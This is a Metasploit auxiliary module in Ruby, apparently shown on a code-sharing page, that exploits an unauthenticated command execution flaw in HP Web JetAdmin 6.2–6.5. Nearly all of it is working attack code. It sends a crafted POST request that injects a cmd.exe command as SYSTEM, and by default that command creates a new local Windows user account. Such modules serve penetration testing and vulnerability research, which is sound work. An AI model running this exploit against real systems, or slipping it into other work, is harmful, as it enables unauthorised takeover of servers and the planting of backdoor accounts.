Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',
14
        'Description' => %q{
15
          This module abuses a command execution vulnerability within the
16
          web based management console of the Hewlett-Packard Web JetAdmin
17
          network printer tool v6.2 - v6.5. It is possible to execute commands
18
          as SYSTEM without authentication. The vulnerability also affects POSIX
19
          systems, however at this stage the module only works against Windows.
20
          This module does not apply to HP printers.
21
        },
22
        'Author' => [ 'aushack' ],
23
        'License' => MSF_LICENSE,
24
        'References' => [
25
          [ 'OSVDB', '5798' ],
26
          [ 'BID', '10224' ],
27
          # [ 'CVE', '' ],# No CVE!
28
          [ 'EDB', '294' ]
29
        ],
30
        'DisclosureDate' => '2004-04-27'
31
      )
32
    )
33

34
    register_options(
35
      [
36
        Opt::RPORT(8000),
37
        OptString.new('CMD', [ false, 'The command to execute.', 'net user metasploit password /add' ]),
38
      ]
39
    )
40
  end
41

42
  def run
43
    cmd = datastore['CMD'].gsub(' ', ',')
44

45
    send_request_cgi({
46
      'uri' => '/plugins/framework/script/content.hts',
47
      'method' => 'POST',
48
      'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'
49
    }, 3)
50
  end
51
end
52

53